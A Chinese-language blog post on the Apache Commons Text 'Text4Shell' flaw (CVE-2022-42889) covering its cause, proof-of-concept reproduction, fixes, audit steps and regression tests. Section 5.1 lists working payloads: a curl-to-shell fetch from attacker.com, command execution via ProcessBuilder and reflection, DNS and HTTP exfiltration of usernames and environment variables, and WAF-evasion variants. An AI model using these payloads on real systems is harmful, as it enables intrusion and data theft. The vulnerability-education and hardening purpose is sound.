Apache Commons Text RCE漏洞CVE-2022-42889：原理、复现与安全修复

1. 项目概述：从“文本处理”到“代码执行”的惊险一跃

最近在整理内部资产的安全基线时，又把这个老漏洞翻出来测了一遍。Apache Commons Text，一个几乎所有Java开发者都用过或者间接依赖过的文本处理工具库，谁能想到它会在一个看似无害的“字符串插值”功能上翻车，直接导致远程代码执行（RCE）？CVE-2022-42889，这个编号现在听起来可能没那么“新鲜”了，但它的原理非常经典，影响面极广，而且利用方式在特定条件下依然有效。很多开发团队可能只是简单升级了依赖版本，却未必真正理解漏洞的根源和修复的边界在哪里。今天我就结合自己的复现过程，把这个漏洞从原理到利用，再到修复和绕过检测，掰开揉碎了讲清楚。无论你是安全研究员想深入理解漏洞机理，还是开发人员想检查自己的项目是否真的安全，或者是运维同学想完善监控策略，这篇文章都能给你带来实实在在的干货。

简单来说，这个漏洞的核心是Apache Commons Text库中一个名为StringSubstitutor的类。它的本意是提供一个强大的字符串替换（插值）功能，比如把“Hello ${sys:user.name}”替换成“Hello 张三”。问题就出在，它默认支持的“插值器”太多了，其中包含了“script”、“dns”、“url”这类可以执行脚本或发起网络请求的“高危”插值器。攻击者如果能控制被处理的字符串，并让应用使用默认的、未经过安全配置的StringSubstitutor，就能注入类似${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}这样的payload，从而在服务器上执行任意命令。这个漏洞的CVSS评分高达9.8（临界），影响版本从1.5到1.9，几乎覆盖了该库近几年的所有主流版本，波及了无数使用Spring Boot、Hadoop、Spark等框架的Java应用。

2. 漏洞原理深度剖析：StringSubstitutor的设计缺陷与默认配置的“原罪”

要彻底理解这个漏洞，我们不能停留在“有个地方能执行代码”的层面，必须深入到StringSubstitutor的设计哲学和默认配置的权衡中去。

2.1StringSubstitutor与字符串插值器的设计初衷

Apache Commons Text 库的目标是提供一套超越标准JavaString类的文本处理工具。StringSubstitutor是其核心组件之一，它实现了“字符串插值”功能。什么是字符串插值？你可以把它想象成一个更强大、更灵活的“变量替换”。在编程中，我们经常需要构建动态字符串，例如日志信息、邮件模板、配置项等。传统做法是拼接字符串，或者使用MessageFormat，但StringSubstitutor提供了一种声明式、可扩展的方式。

它的基本语法是使用${prefix:value}这样的占位符。StringSubstitutor在解析字符串时，会识别这些占位符，然后根据prefix（前缀）查找对应的StringLookup（字符串查找器）来处理value（值），最后用处理结果替换整个占位符。库内置了多种StringLookup实现，也就是我们说的“插值器”：

• sys: 查找Java系统属性。${sys:user.home}->/home/user
• env: 查找操作系统环境变量。${env:PATH}->/usr/local/bin:/usr/bin:...
• date: 处理日期格式。${date:yyyy-MM-dd}->2023-10-27
• file: 读取文件内容（需要编码）。${file:UTF-8:/etc/passwd}-> 文件内容
• url: 获取URL内容（需要编码）。${url:UTF-8:https://example.com}-> 网页HTML
• dns: 解析DNS记录。${dns:address|example.com}->93.184.216.34
• script:执行脚本。${script:javascript:3 + 4}->7

这个设计本身非常强大和优雅，它将字符串模板和具体的值解析逻辑解耦，通过插值器工厂（StringLookupFactory）来管理各种查找器，极大地增强了灵活性。开发者可以很方便地添加自定义的查找器来处理业务特定的占位符。

2.2 安全边界是如何被模糊的：默认插值器列表的“功能溢出”

漏洞的根源就在于功能的便利性压倒了安全性。StringSubstitutor提供了一个非常方便的静态方法createInterpolator()，它会创建一个预配置了所有默认查找器的替换器。对于库的开发者而言，提供“开箱即用”的全功能体验是吸引用户的重要手段。“看，你什么都不用配置，就能用上所有强大的功能！”——这种想法在工具库开发中很常见。

然而，从安全视角看，这就是一场灾难。script、dns、url这些插值器，其功能本质上是与外部系统交互或执行逻辑。在安全的字符串处理上下文中，这属于“高权限”操作。将它们默认启用，等同于默认授予了字符串处理流程一项危险的“特权”。应用开发者如果图省事，直接调用StringSubstitutor.createInterpolator().replace(untrustedInput)，就等于把处理不可信用户输入的任务，交给了一个拥有执行脚本、读取文件、发起网络请求等能力的“超级处理器”。

这里存在一个典型的“责任混淆”。库认为：“我提供了所有工具，用不用、怎么用是开发者的事。” 而很多开发者，尤其是新手或者对安全不敏感的开发者，会认为：“官方提供的默认方法肯定是安全的、通用的。” 这种认知偏差，加上默认配置的“慷慨”，共同构成了漏洞滋生的土壤。

注意：这与另一个著名的漏洞“Log4Shell”（CVE-2021-44228）在原理上异曲同工。Log4j是通过默认启用的JNDI查找功能导致了RCE，而Commons Text是通过默认启用的Script等查找器。它们都揭示了同一个教训：在基础库/框架中，涉及外部交互或代码执行的功能，必须默认关闭，或进行极其严格的白名单控制。

2.3 漏洞触发的必要条件与攻击链还原

要成功利用CVE-2022-42889，需要满足以下几个条件，我们可以将其串联成一条攻击链：

1. 存在入口点：应用程序接收了来自外部的、攻击者可控的字符串输入。这个入口可能非常广泛：

   • Web应用的参数（GET/POST）、Headers、Cookie。
   • 配置文件中的某个从数据库或API读取的动态值。
   • 从消息队列、文件上传等渠道获取的数据。
   • 甚至是通过反序列化传入的对象字段。

2. 使用了有漏洞的Apache Commons Text版本（1.5 <= version <= 1.9），并且代码中通过以下不安全的方式使用了StringSubstitutor：

   • 直接使用StringSubstitutor.createInterpolator()。
   • 使用new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup())。
   • 自定义了StringSubstitutor，但传入的StringLookup包含了危险的查找器（如StringLookupFactory.INSTANCE.scriptStringLookup()）。

3. 对该字符串调用了replace或replaceIn等方法，触发了插值逻辑。

4. 应用程序运行在一个具备相应脚本引擎（如JavaScript/Nashorn）的环境中。对于script插值器，需要JVM支持对应的脚本语言。Java 8-14 默认提供了Nashorn JavaScript引擎，Java 15+ 需要手动引入。

当这四个条件串联起来，攻击链就闭合了。攻击者精心构造的恶意字符串被送入StringSubstitutor处理，${script:javascript:...}被识别，JavaScript引擎执行其中的代码（例如调用Runtime.exec），最终导致服务器上的命令执行。

3. 漏洞复现环境搭建与利用实战

理解了原理，我们动手搭建环境来亲眼看看这个漏洞是如何发生的。这里我提供两种复现方式：一种是极简的、用于快速理解漏洞的独立Java程序；另一种是更贴近真实Web场景的Spring Boot应用。

3.1 环境准备：依赖、JDK与工具

首先，确保你的本地环境已经就绪：

1. JDK 8 或 11（推荐）：这两个是长期支持版本，且自带Nashorn JavaScript引擎。如果你用JDK 15及以上，需要额外添加Nashorn依赖。
2. Maven 或 Gradle：用于管理项目依赖。这里以Maven为例。
3. 一个IDE：IntelliJ IDEA 或 Eclipse，方便编写和调试代码。
4. Burp Suite 或 Postman：用于测试Web接口（如果复现Web场景）。

关键依赖：我们需要引入有漏洞版本的commons-text。在Maven项目的pom.xml中，添加如下依赖（这里以漏洞版本1.9为例）：

<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.9</version> <!-- 漏洞版本！ --> </dependency>

如果你想在JDK 15+上使用script插值器，还需要添加Nashorn引擎依赖（JDK 8-14无需此步）：

<dependency> <groupId>org.openjdk.nashorn</groupId> <artifactId>nashorn-core</artifactId> <version>15.3</version> <!-- 版本号请根据情况选择 --> </dependency>

3.2 复现方式一：核心PoC代码解析

我们先写一个最简单的Java类，来演示漏洞最核心的触发点。这个程序模拟了一个“配置项解析器”，它错误地使用了默认插值器来处理用户输入的配置值。

import org.apache.commons.text.StringSubstitutor; import java.util.HashMap; import java.util.Map; public class CommonsTextPoc { public static void main(String[] args) { // 模拟从“外部”（如配置文件、数据库、用户输入）读取的配置值 // 攻击者控制了这部分内容 String maliciousInput = "欢迎用户: ${script:javascript:java.lang.Runtime.getRuntime().exec('open -a Calculator')}"; // ！！！漏洞代码：使用默认的、包含所有插值器的StringSubstitutor！！！ StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); // 设置变量解析器（这里简单用Map模拟，实际可能从环境变量、系统属性等获取） Map<String, String> valueMap = new HashMap<>(); valueMap.put("user.name", "正常用户"); // 触发漏洞：处理恶意字符串 try { String result = interpolator.replace(maliciousInput); System.out.println("处理结果: " + result); } catch (Exception e) { e.printStackTrace(); System.out.println("处理过程中发生异常。"); } } }

代码解读与执行预期：

1. StringSubstitutor.createInterpolator()：这是祸根。它创建了一个包含script,dns,url,file等所有默认查找器的替换器对象。
2. maliciousInput字符串：包含了恶意负载${script:javascript:...}。script是前缀，告诉替换器使用脚本查找器；javascript指定脚本语言；后面的部分就是将被Nashorn引擎执行的JavaScript代码。
3. java.lang.Runtime.getRuntime().exec('open -a Calculator')：这是JavaScript代码，它通过Java的反射机制（在Nashorn中，可以直接访问Java类）调用了Runtime.exec()方法，执行系统命令。在macOS上，open -a Calculator会打开计算器；在Windows上，可以换成calc.exe；在Linux上，可以换成xcalc或gnome-calculator。
4. 当interpolator.replace(maliciousInput)被调用时，StringSubstitutor会解析字符串，识别出${script:...}占位符，然后调用脚本引擎执行其中的代码，从而导致命令执行。

实操心得：在复现时，你可能会发现计算器没有弹出来。这可能是因为：

• 权限问题：应用程序可能运行在受限权限下，无法启动图形界面程序。
• 命令路径问题：calc.exe在Windows的PATH中，但其他命令可能需要全路径。
• 环境差异：生产环境通常是Linux无图形界面服务器。这时，更可靠的验证方式是执行一个会产生明显副作用的命令，例如：
  • Linux/Mac:${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')}，然后在服务器上检查/tmp/pwned文件是否被创建。
  • 通用：${script:javascript:java.lang.Runtime.getRuntime().exec('ping -c 1 your-vps-ip')}，在你的VPS上监听ICMP包，看是否收到ping请求。（注意：在授权范围内测试！）

3.3 复现方式二：模拟真实Web应用场景

独立的PoC能证明漏洞存在，但真实攻击往往发生在Web应用里。我们搭建一个简单的Spring Boot应用来模拟。

步骤1：创建Spring Boot项目使用Spring Initializr创建一个新项目，依赖选择Spring Web，并手动在pom.xml中添加有漏洞的commons-text 1.9。

步骤2：编写一个有漏洞的Controller假设我们有一个“消息模板”功能，允许用户提交一个模板名称，后端从数据库读取模板内容（其中可能包含占位符），然后用StringSubstitutor渲染后返回。

import org.apache.commons.text.StringSubstitutor; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import java.util.HashMap; import java.util.Map; @RestController public class VulnerableController { // 模拟从数据库根据模板名获取模板内容 private String getTemplateFromDB(String templateName) { // 这里为了演示，直接返回一个“有问题”的模板。 // 真实场景中，这个模板内容可能来自数据库，而数据库内容可能被攻击者污染（如通过其他注入漏洞）。 // 更常见的场景是，模板内容本身是固定的，但用于替换的“变量值”来自用户输入。 // 我们这里模拟一个更隐蔽的场景：模板内容本身被注入了恶意占位符。 if ("welcome".equals(templateName)) { return "Hello, ${user}. ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/spring_pwned')}"; } return "Default Template"; } @GetMapping("/render") public String renderTemplate(@RequestParam String name) { // 1. 获取模板（假设来源可信，但实际可能已被污染） String template = getTemplateFromDB(name); // 2. ！！！漏洞点：使用不安全的StringSubstitutor处理模板！！！ // 开发者本意可能是想替换 ${user} 这样的变量，但用了危险的默认插值器。 StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); // 3. 准备替换用的变量值（这里user来自请求参数，是另一个可能的注入点，但本例主要展示模板本身被污染） Map<String, String> values = new HashMap<>(); values.put("user", "Guest"); interpolator.setVariableResolver(values::get); // 4. 渲染模板，触发漏洞 String rendered; try { rendered = interpolator.replace(template); } catch (Exception e) { rendered = "Error rendering template: " + e.getMessage(); } return rendered; } }

步骤3：启动并利用

1. 启动Spring Boot应用（默认端口8080）。
2. 使用浏览器或curl访问：http://localhost:8080/render?name=welcome
3. 观察应用日志是否有异常，并检查服务器上的/tmp/spring_pwned文件是否被创建。

这个例子比独立PoC更贴近现实。漏洞可能存在于：

• 模板存储型XSS的升级版：攻击者通过其他漏洞（如SQL注入、存储型XSS的管理后台）将恶意模板存入数据库。
• 配置错误：开发/运维人员将包含占位符的配置项错误地写入了配置文件或环境变量。
• 供应链攻击：项目依赖的某个第三方库的默认配置或示例代码中包含了有问题的用法。

4. 漏洞修复方案与安全编码实践

复现漏洞是为了更好地修复和防御。Apache官方已经发布了修复版本，但仅仅升级依赖可能不够，我们需要从多个层面加固。

4.1 官方修复：升级与默认行为变更

Apache Commons Text 在漏洞披露后，迅速发布了修复版本：

• 1.10.0 及以上版本：这是主要的修复版本。
• 1.9 的后续补丁版本（如果存在）。

修复的核心措施是改变了StringSubstitutor.createInterpolator()的默认行为：

• 在新版本中，StringLookupFactory.INSTANCE.interpolatorStringLookup()不再默认包含script、dns、url这三个高危查找器。
• 这些查找器被移到了一个单独的工厂方法StringLookupFactory.INSTANCE.interpolatorStringLookup(StringLookupFactory...)中，需要显式指定才会启用。

因此，最直接、最有效的修复方案就是升级依赖：

<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.10.0</version> <!-- 或更高版本 --> </dependency>

升级后，之前不安全的代码StringSubstitutor.createInterpolator()将不再能执行脚本，从而从根本上消除了漏洞。这是所有用户应该立即采取的行动。

4.2 安全配置：即使升级后也应遵循的最佳实践

升级解决了默认安全问题，但为了彻底杜绝此类风险，并养成良好的安全编码习惯，我们应该主动采用更安全的配置方式。

原则：最小权限原则。只启用业务真正需要的插值器。

安全用法示例：

import org.apache.commons.text.StringSubstitutor; import org.apache.commons.text.lookup.StringLookup; import org.apache.commons.text.lookup.StringLookupFactory; import java.util.Map; public class SafeStringSubstitutorDemo { public static String safeReplace(String input, Map<String, String> variables) { // 方案1：使用完全自定义的、仅包含安全查找器的组合 // 例如，只允许替换来自Map的变量，禁止任何默认插值器。 StringLookup variableLookup = variables::get; StringSubstitutor substitutor = new StringSubstitutor(variableLookup); // 设置前缀后缀为默认的 ${ 和 }，也可以自定义 substitutor.setVariablePrefix("${"); substitutor.setVariableSuffix("}"); // 禁用递归替换，防止 ${${...}} 这种嵌套攻击（如果变量值也来自不可信源） substitutor.setEnableSubstitutionInVariables(false); return substitutor.replace(input); // 方案2：如果需要使用一些默认插值器，但排除危险的，可以显式构造 // StringLookup safeLookup = StringLookupFactory.INSTANCE.interpolatorStringLookup( // StringLookupFactory.INSTANCE.systemPropertyStringLookup(), // sys // StringLookupFactory.INSTANCE.environmentVariableStringLookup() // env // // 明确不添加 scriptStringLookup, dnsStringLookup, urlStringLookup // ); // StringSubstitutor substitutor2 = new StringSubstitutor(safeLookup); // return substitutor2.replace(input); } // 一个常见的错误模式：将用户输入直接作为变量值，而变量名/占位符在模板中 public static String renderEmail(String template, String userName) { Map<String, String> data = new HashMap<>(); data.put("username", userName); // userName来自用户输入 // 如果template是固定的，且只包含 ${username}，那么是安全的。 // 但如果template也部分可控，或者userName本身包含 ${...}，且开启了递归替换，就可能有问题。 return safeReplace(template, data); } }

关键安全配置项：

• setEnableSubstitutionInVariables(false)：强烈建议关闭。这可以防止形如${${inner}}的嵌套替换攻击。如果开启，且inner的值是script:javascript:...，那么即使第一层替换只是简单的变量替换，第二层也会触发脚本执行。
• setVariablePrefix/setVariableSuffix：可以修改占位符的定界符，使用更独特的符号（如$[ ]），降低与常见文本意外匹配的概率，但这更多是一种混淆而非根本安全措施。

4.3 代码审计与依赖检查：如何发现潜在风险

对于已有项目，如何排查是否受此漏洞影响或存在不安全的用法？

1. 依赖扫描：

   • 使用Maven命令：mvn dependency:tree | grep commons-text
   • 使用专业SCA（软件成分分析）工具：如OWASP Dependency-Check、Snyk、WhiteSource等。它们能直接识别出存在已知漏洞的依赖版本。
   • 检查pom.xml或build.gradle中commons-text的版本号是否为1.5到1.9。

2. 代码搜索：

   • 在全项目代码中搜索以下关键词：
     • StringSubstitutor.createInterpolator()
     • new StringSubstitutor(（然后检查传入的参数）
     • StringLookupFactory.INSTANCE.interpolatorStringLookup()
     • scriptStringLookup,dnsStringLookup,urlStringLookup
   • 重点审查使用这些API的代码上下文：输入源是否可信？是否处理了来自网络、文件、数据库等外部不可信的数据？

3. 黑白盒测试：

   • 黑盒：在Web应用的参数、头部、Cookie等所有输入点，尝试插入各种插值Payload，观察响应时间、错误信息或侧信道反应（如DNS解析请求）。Payload示例：
     • ${dns:address|attacker-controlled-domain.com}（观察你的DNS日志）
     • ${url:UTF-8:http://attacker-server.com/test}（观察你的Web服务器访问日志）
     • ${script:javascript:java.lang.Thread.sleep(5000)}（观察响应是否延迟）
   • 白盒：结合代码审计结果，构造针对性的测试用例。

5. 高级利用技巧、防御绕过与深度防御

在实战攻防中，攻击者不会只使用最简单的Payload。防御方也需要了解可能的绕过方式，才能构建更立体的防御体系。

5.1 利用技巧与Payload变种

1. 命令执行的多种姿势：

   • 直接Runtime.exec：最直接，但可能受限于字符过滤（如空格、引号）。
     • ${script:javascript:java.lang.Runtime.getRuntime().exec('sh -c curl attacker.com/shell.sh|sh')}
   • ProcessBuilder：更灵活，可以处理复杂的命令行参数。
     • ${script:javascript:new java.lang.ProcessBuilder('bash', '-c', 'echo pwned > /tmp/test').start()}
   • 反射调用：如果某些类被过滤，可以通过反射来调用。
     • ${script:javascript:java.lang.Class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc')}

2. 绕过字符过滤：

   • 编码：尝试URL编码、Hex编码、Unicode编码等。StringSubstitutor在解析前可能会对输入做解码处理吗？这取决于应用代码。可以尝试${script:javascript:eval('java.lang.Runtime.getRuntime().exec(\"calc\")')}，其中内部引号进行了转义。
   • 字符串拼接：${script:javascript:'calc'.split('').join('')}（虽然这个例子简单，但复杂命令可以通过拼接绕过关键词检测）。
   • 利用其他插值器作为跳板：如果script被过滤或禁用，但url或file可用，可以尝试先读取一个包含JS代码的远程文件或本地文件，然后再用某种方式执行（这通常需要其他漏洞配合，如XSS）。

3. 无回显利用与出网检测：

   • DNS外带：这是最隐蔽有效的方式之一。利用dns插值器。
     • ${dns:address|unique-id.attacker-domain.com}攻击者监控其DNS服务器日志，如果收到对unique-id.attacker-domain.com的解析请求，就证明漏洞存在且可利用。unique-id可以携带一些信息，如${dns:address|${sys:user.name}.attacker.com}可以外带用户名。
   • HTTP外带：利用url插值器。
     • ${url:UTF-8:http://attacker.com/leak?data=${env:USER}}这会将环境变量USER的值通过HTTP GET请求发送到攻击者服务器。

5.2 防御绕过与深度防御策略

仅仅升级库版本和修改代码可能还不够，需要考虑更复杂的攻击场景。

1. 递归替换攻击： 即使你只允许${var}这种简单的变量替换，并且变量值来自可信的Map，但如果setEnableSubstitutionInVariables(true)（默认是false，但有时会被开启），且攻击者能控制Map中的值，那么他可以通过嵌套实现代码执行。

   • 模板：Hello ${username}
   • 变量值：username = ${script:javascript:...}
   • 结果：替换后变成Hello ${script:javascript:...}，然后会进行第二轮替换，执行脚本。防御：务必调用substitutor.setEnableSubstitutionInVariables(false)。

2. 依赖传递与“幽灵依赖”： 你的项目可能没有直接引入commons-text，但它可能被其他依赖（如Spring Boot的某个starter、Hadoop Client、Apache Spark等）传递进来。使用mvn dependency:tree或gradle dependencies仔细检查依赖树。确保整个树中所有commons-text的版本都是 >=1.10.0。可以使用Maven的<dependencyManagement>或Gradle的resolutionStrategy来强制统一版本。

3. WAF/IDS/IPS规则绕过： 安全设备可能会检测常见的${script:javascript:模式。攻击者可能会：

   • 使用大小写变形：${ScRiPt:JaVaScRiPt:...}
   • 使用制表符、换行符分割：${script: javascript:...}
   • 使用注释（如果脚本引擎支持）：${script:javascript:/*comment*/java.lang.Runtime...}防御：WAF规则需要不断更新，并且最好在应用层进行输入验证和输出编码。不要依赖黑名单，而应使用白名单。

4. 深度防御建议：

   • 输入验证与白名单：对将要交给StringSubstitutor处理的字符串进行严格校验。如果业务逻辑只是简单的变量替换，可以使用正则表达式严格限制占位符的格式，例如只允许[a-zA-Z0-9._-]字符组成的变量名。
   • 输出编码：如果处理后的字符串要输出到HTML、JSON、SQL等上下文，必须进行相应的编码，防止造成XSS、注入等二次漏洞。
   • 在安全沙箱中运行：对于处理高度不可信输入的服务，可以考虑在受限的SecurityManager策略或容器（如Docker）中运行，限制其执行命令、访问网络和文件系统的能力。
   • 运行时应用自我保护（RASP）：部署RASP agent，它可以监控应用运行时行为，在检测到通过Runtime.exec()或ProcessBuilder执行可疑命令时进行拦截和告警。

6. 漏洞排查清单、修复验证与长效治理

最后，我将分享一份可操作的排查修复清单，以及如何验证修复是否真正生效。

6.1 漏洞快速排查清单

当你怀疑或需要确认一个应用是否受CVE-2022-42889影响时，可以按以下步骤操作：

6.2 修复验证：如何确认修复真的有效？

升级了依赖或修改了代码后，不能假设问题就解决了，必须验证。

1. 依赖版本验证：

   • 重新运行mvn dependency:tree，确认所有commons-text的版本都已升级到 1.10.0+。
   • 使用mvn clean compile或gradle build重新构建项目，确保编译通过，没有版本冲突。

2. 功能回归测试：

   • 原有的、合法的字符串替换功能（如替换${sys:user.name}）是否仍然正常工作？需要编写或运行相关的单元测试和集成测试。

3. 安全测试验证：

   • 编写一个JUnit测试，尝试使用旧的漏洞Payload调用修复后的代码。

   @Test void testVulnerabilityFixed() { StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); String malicious = "${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}"; String result = interpolator.replace(malicious); // 在1.10.0+版本，这里应该不会执行命令，而是将原字符串返回或抛出异常。 // 断言结果不等于某个危险值，或者包含原占位符。 assertFalse(result.contains("Calculator")); // 简单示例，实际断言需更严谨 // 更佳实践：断言结果就是输入本身，因为script查找器不存在了。 assertEquals(malicious, result); }

   • 再次运行第6.1节中的无害探测Payload（如DNS外带），确认不再有请求发出。

4. 代码扫描：

   • 使用SonarQube、Checkmarx、Fortify等静态代码分析工具对修复后的代码进行扫描，确认相关高危告警已消除。

6.3 长效治理：将安全融入开发流程

CVE-2022-42889给我们敲响了警钟，这类漏洞的根源往往在于开发阶段的安全意识缺失和默认的不安全配置。

1. 安全编码规范：在团队内部建立规范，明确禁止使用StringSubstitutor.createInterpolator()，并推荐使用经过安全配置的StringSubstitutor实例。将此类规范写入开发手册。
2. 依赖管理自动化：
   • 使用Dependabot、Renovate等工具自动创建依赖升级PR。
   • 在CI/CD流水线中集成SCA扫描（如OWASP Dependency-Check），并将漏洞检查作为流水线通过的强制关卡，阻断含有高危漏洞的构建产物进入生产环境。
3. 定期安全培训：让开发人员了解此类漏洞的原理、危害和修复方法，培养“默认不安全”的安全设计思维。
4. 威胁建模：在系统设计阶段，就对数据处理流程进行威胁建模，识别类似“不可信数据流入高危处理器”这样的威胁场景，并提前设计缓解措施。

这个漏洞的复现和分析过程，再次印证了安全领域的一句老话：“永远不要相信用户输入，即使是间接的、经过层层传递的输入。” 作为开发者，我们必须对所使用的工具库保持警惕，理解其强大功能背后的安全代价，并通过最小权限、默认拒绝等原则来构建更稳固的系统。